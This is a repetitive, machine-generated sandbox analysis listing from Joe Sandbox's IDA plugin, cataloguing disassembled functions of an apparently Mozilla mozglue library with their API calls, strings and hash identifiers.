Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 93ee95981e53a52dc71b4e33ea68e10680ad4448006aaf38a705912f7bde05e2
Instruction ID: cf5e6fd01fe86a9f5d37cdc208ef52075fd4e4d14e9fd35e115150c5c5c249fc
Opcode Fuzzy Hash: 93ee95981e53a52dc71b4e33ea68e10680ad4448006aaf38a705912f7bde05e2
Instruction Fuzzy Hash: 0941AF719047469FD300DF29D48056AFBF4FFCA264F604A2EE4A987640EB30E559CBD2

Function 6CC16470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CC182BC,?,?), ref: 6CC1649B

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC164A9

Part of subcall function 6CC0FA80: GetCurrentThreadId.KERNEL32 ref: 6CC0FA8D
Part of subcall function 6CC0FA80: AcquireSRWLockExclusive.KERNEL32(6CC5F448), ref: 6CC0FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC1653F
free.MOZGLUE(?), ref: 6CC1655A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: ce971dc6781cf0808af7418598e186984e84cf98337680c966be69345031ce9f
Instruction ID: 147669b42ad0e039d33ededfc46b605c5791dafa05b42a0b4eb7fef3e9b8388c
Opcode Fuzzy Hash: ce971dc6781cf0808af7418598e186984e84cf98337680c966be69345031ce9f
Instruction Fuzzy Hash: 2D3182B5A087059FD704CF15D884A9EBBF4FF89314F40842EE89A97741EB34E919CB92

Function 6CC0FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CC2D019,?,?,?,?,?,00000000,?,6CC1DA31,00100000,?), ref: 6CC0FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CC2D019,?,?,?,?,?,00000000,?,6CC1DA31,00100000,?,?), ref: 6CC0FFF5
free.MOZGLUE(?,?,?,?,?,6CC2D019,?,?,?,?,?,00000000,?,6CC1DA31,00100000,?), ref: 6CC1001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CC2D019,?,?,?,?,?,00000000,?,6CC1DA31,00100000,?,?), ref: 6CC1002A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 460c5cade45b1a700099035e5b691029be3711f75109647470df0791cb941ab7
Instruction ID: d1a9380681c2763d53a968d894fb517733fe9ea931b676726737926c44aaf080
Opcode Fuzzy Hash: 460c5cade45b1a700099035e5b691029be3711f75109647470df0791cb941ab7
Instruction Fuzzy Hash: 3C21F1B2B002155FC7089E6898948AEB7FAFBC53243254338E425D7780FA31AD4682A4

Function 6CBEB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBEB4F5
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CBEB502
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CBEB542
free.MOZGLUE(?), ref: 6CBEB578

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: c8a9144ec5645cc2e006debebf11dd17507dbb182b23ee49ae81ce39e1103ffc
Instruction ID: e7328250731e47bcd8ce11cc9b58a2643c4295d5a66abbf40d51caa57803040d
Opcode Fuzzy Hash: c8a9144ec5645cc2e006debebf11dd17507dbb182b23ee49ae81ce39e1103ffc
Instruction Fuzzy Hash: F2112131A04B81CBC7128F28C410362B3F0FF9A758F94970AE84963E01EBB0B5E5C799

Function 6CC13DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CBDF20E,?), ref: 6CC13DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CBDF20E,00000000,?), ref: 6CC13DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC13E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CC13E0E

Part of subcall function 6CC0CC00: GetCurrentProcess.KERNEL32(?,?,6CBD31A7), ref: 6CC0CC0D
Part of subcall function 6CC0CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CBD31A7), ref: 6CC0CC16

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 5ce1891ba20d4f43aa4fb3f22c35bebd7f9667759dc4f7449a68263cd9eebf29
Instruction ID: cae9b3501ec51d8815f34b6ceb4d570b4f67d1f1288cc218c684ce410fe95080
Opcode Fuzzy Hash: 5ce1891ba20d4f43aa4fb3f22c35bebd7f9667759dc4f7449a68263cd9eebf29
Instruction Fuzzy Hash: D7F01275A002087FD704AB54DC41DAB377DDF46628F444020FD0867741E676BE2996F7

Function 6CC22050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC2205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6CC2201B,?,?,?,?,?,?,?,6CC21F8F,?,?), ref: 6CC22064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2208E
free.MOZGLUE(?,?,?,00000000,?,6CC2201B,?,?,?,?,?,?,?,6CC21F8F,?,?), ref: 6CC220A3

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d8cc2742e34758c4a88f13db1676661ffd07cec6c6874bbbbbf482eecc32b870
Instruction ID: 2e2e8d8ca58a7e13ea252ac35745256774f50cf8a2bb1a447a3f034e816fc5e3
Opcode Fuzzy Hash: d8cc2742e34758c4a88f13db1676661ffd07cec6c6874bbbbbf482eecc32b870
Instruction Fuzzy Hash: 52F0E9712007009BC7118F16D898B5BBBF8FF86334F14011AF50697710DBB5E806CB96

Function 6CC220B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC220B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CC0FBD1), ref: 6CC220C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CC0FBD1), ref: 6CC220DA
free.MOZGLUE(00000000,?,6CC0FBD1), ref: 6CC220F1

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ec98026cfd7d99154b3a79bf8502f504a1313acf97e81528e383bbec39b2f0ec
Instruction ID: c153e039f2e972d0e70b26efd7efb5f0112e67fae7061ed3081fea9a38a5a520
Opcode Fuzzy Hash: ec98026cfd7d99154b3a79bf8502f504a1313acf97e81528e383bbec39b2f0ec
Instruction Fuzzy Hash: 95E0E5316006148BC3209F25981854EFBF9FF86324B44022AE406D3B00EB79E94A86D5

Function 6CC285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CC285D3

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CC28725

Strings

map/set<T> too long, xrefs: 6CC28720

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 5a8517acc9206832e5f8c718285b88eacccd5f9c413b8935d4cf8b47e54265b4
Instruction ID: 6e9d7ce033cdd2727692c3c36e5c38b26d2722784c8589f671fbe5b86e22275c
Opcode Fuzzy Hash: 5a8517acc9206832e5f8c718285b88eacccd5f9c413b8935d4cf8b47e54265b4
Instruction Fuzzy Hash: 1E516576A00641CFD701CF18C084E5ABBF1BF4A318F18C18AD8595BB52D379E885CF92

Function 6CBDBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CBDBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBDBE8F

Strings

0, xrefs: 6CBDBE5B

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ad97ab96c83fc03f02249fcb7db35fb8f3b5c08f983111722cff47099115b402
Instruction ID: fd0e0c20e4d0d3730cda0187c37bb5d8e43150693cb4d9040597ab02a718f9af
Opcode Fuzzy Hash: ad97ab96c83fc03f02249fcb7db35fb8f3b5c08f983111722cff47099115b402
Instruction Fuzzy Hash: 78418171909785CFC711CF28C48199BB7F4EF8A348F018A1DF98967611E731E9598B82

Function 6CC13CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC13D19
mozalloc_abort.MOZGLUE(?), ref: 6CC13D6C

Strings

d, xrefs: 6CC13D58

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c1b004ea0ce46bc2360df1f15cfd4adbd89d0eb30259dd08e922ad1b6d0fadc2
Instruction ID: 0021126ca28f5d6a68e6baaee2140f43ab588e242ace98f7e4c7af08cbc528b8
Opcode Fuzzy Hash: c1b004ea0ce46bc2360df1f15cfd4adbd89d0eb30259dd08e922ad1b6d0fadc2
Instruction Fuzzy Hash: DD11C875E286489BDB00AF6EC8154EDB775EF8621CB89C359EC4567A02FB3095C4C350

Function 6CBE4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CBE44B2,6CC5E21C,6CC5F7F8), ref: 6CBE473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CBE474A

Strings

GetNtLoaderAPI, xrefs: 6CBE4744

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 0c1da2c51c1115c1bd04cfcd353f8c687c8411700ad3be7c13556bf65090d4ef
Instruction ID: 217136587be8eec707d3053cad7732df219cb0be50ab169d505277852433a25e
Opcode Fuzzy Hash: 0c1da2c51c1115c1bd04cfcd353f8c687c8411700ad3be7c13556bf65090d4ef
Instruction Fuzzy Hash: E8019E753042548FDF04AFAB888862D7BB9EB9F751B090069EA06E7700DB74D8118FD2

Function 6CC36DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CC36E22
__Init_thread_footer.LIBCMT ref: 6CC36E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CC36E1D

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 9ac5011faca3656ac0402417302ef94620bdc9693c5266994a302bf644634d02
Instruction ID: f0487063304e95529838d3fa08f80756c97dcf7ad8ac4e80e9cd1c7eae1614ee
Opcode Fuzzy Hash: 9ac5011faca3656ac0402417302ef94620bdc9693c5266994a302bf644634d02
Instruction Fuzzy Hash: 2FF05231608640CFDA048B68E850AD93372B753218F8411A5C84897BE1FF61E53ACA93

Function 6CBE9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CBE9EEF

Strings

NaN, xrefs: 6CBE9EC1
Infinity, xrefs: 6CBE9EB7

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: ee4e7cada0b8f0532f7ade8c58dc05237663ad1c13ad6eb8119159db6d04fc1a
Instruction ID: 55378ee6c1d9cfc434cf9a0bc1bd37e5a9d5b239832d4ebfb21b7593749106bb
Opcode Fuzzy Hash: ee4e7cada0b8f0532f7ade8c58dc05237663ad1c13ad6eb8119159db6d04fc1a
Instruction Fuzzy Hash: AEF0CDB1A00281CFDB088F18D849BA43371B747718FA04AD8C6042BB80E7B6657ACA86

Function 6CBEBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CBEBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CBEBEF5

Strings

cryptbase.dll, xrefs: 6CBEBEF0

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 06a95bd56931e3deee29c8ed913539305807945ea3ef209b8267ddf58b68eef5
Instruction ID: 36f32a5c068de29052c15cd43b7ee87d7d133a387d8c04e887bda2c30118fca5
Opcode Fuzzy Hash: 06a95bd56931e3deee29c8ed913539305807945ea3ef209b8267ddf58b68eef5
Instruction Fuzzy Hash: 4CD0A731380248E6C600AA608C05B257B74A706755F50C420F30554851C7F09430CB48

Function 6CBD50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CBD4E9C,?,?,?,?,?), ref: 6CBD510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CBD4E9C,?,?,?,?,?), ref: 6CBD5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CBD5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CBD4E9C), ref: 6CBD5234

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 86e024756e603b6cd83b241b0f7a092fe9041acf4cc6624b72bb961278fdeabf
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 7291D0B5901646CFCB14CF08C490A56BBA2FF89318B29858CDC595B715D731FC4ACBE1

Function 6CC108F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E7DC), ref: 6CC10918
LeaveCriticalSection.KERNEL32(6CC5E7DC), ref: 6CC109A6
EnterCriticalSection.KERNEL32(6CC5E7DC,?,00000000), ref: 6CC109F3
LeaveCriticalSection.KERNEL32(6CC5E7DC), ref: 6CC10ACB

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 9187daacde8eb634416777c5edfbf7fd79b99d6f77fca0bdfccf5daa0a9320b7
Instruction ID: 9474725663a964317aa9ce4684b6f656570f8e91c734b88e508791627a0a0b88
Opcode Fuzzy Hash: 9187daacde8eb634416777c5edfbf7fd79b99d6f77fca0bdfccf5daa0a9320b7
Instruction Fuzzy Hash: 60512832B09654CFEB089B1BC42462973F1FB82B64B65413ED965A7F80FB31E87196C0

Function 6CC2B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CC2B2C9,?,?,?,6CC2B127,?,?,?,?,?,?,?,?,?,6CC2AE52), ref: 6CC2B628

Part of subcall function 6CC290E0: free.MOZGLUE(?,00000000,?,?,6CC2DEDB), ref: 6CC290FF
Part of subcall function 6CC290E0: free.MOZGLUE(?,00000000,?,?,6CC2DEDB), ref: 6CC29108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC2B2C9,?,?,?,6CC2B127,?,?,?,?,?,?,?,?,?,6CC2AE52), ref: 6CC2B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC2B2C9,?,?,?,6CC2B127,?,?,?,?,?,?,?,?,?,6CC2AE52), ref: 6CC2B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CC2B127,?,?,?,?,?,?,?,?), ref: 6CC2B74D

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 915011e3ce1cb63f586eae14237e99ef2ad8fa2629045f4bd90dae5046311aa7
Instruction ID: 846ab460b00144b035c8d305843f3ae89efa38dba4249895e55c1c1c8d946988
Opcode Fuzzy Hash: 915011e3ce1cb63f586eae14237e99ef2ad8fa2629045f4bd90dae5046311aa7
Instruction Fuzzy Hash: 8351D171A052168FDB14CF19C990B5EB7B5FF85704F55852DC89BAB700EB35E804CBA1

Function 6CC2DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CC1FF2A), ref: 6CC2DFFD

Part of subcall function 6CC290E0: free.MOZGLUE(?,00000000,?,?,6CC2DEDB), ref: 6CC290FF
Part of subcall function 6CC290E0: free.MOZGLUE(?,00000000,?,?,6CC2DEDB), ref: 6CC29108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC1FF2A), ref: 6CC2E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC1FF2A), ref: 6CC2E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CC1FF2A), ref: 6CC2E0FE

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

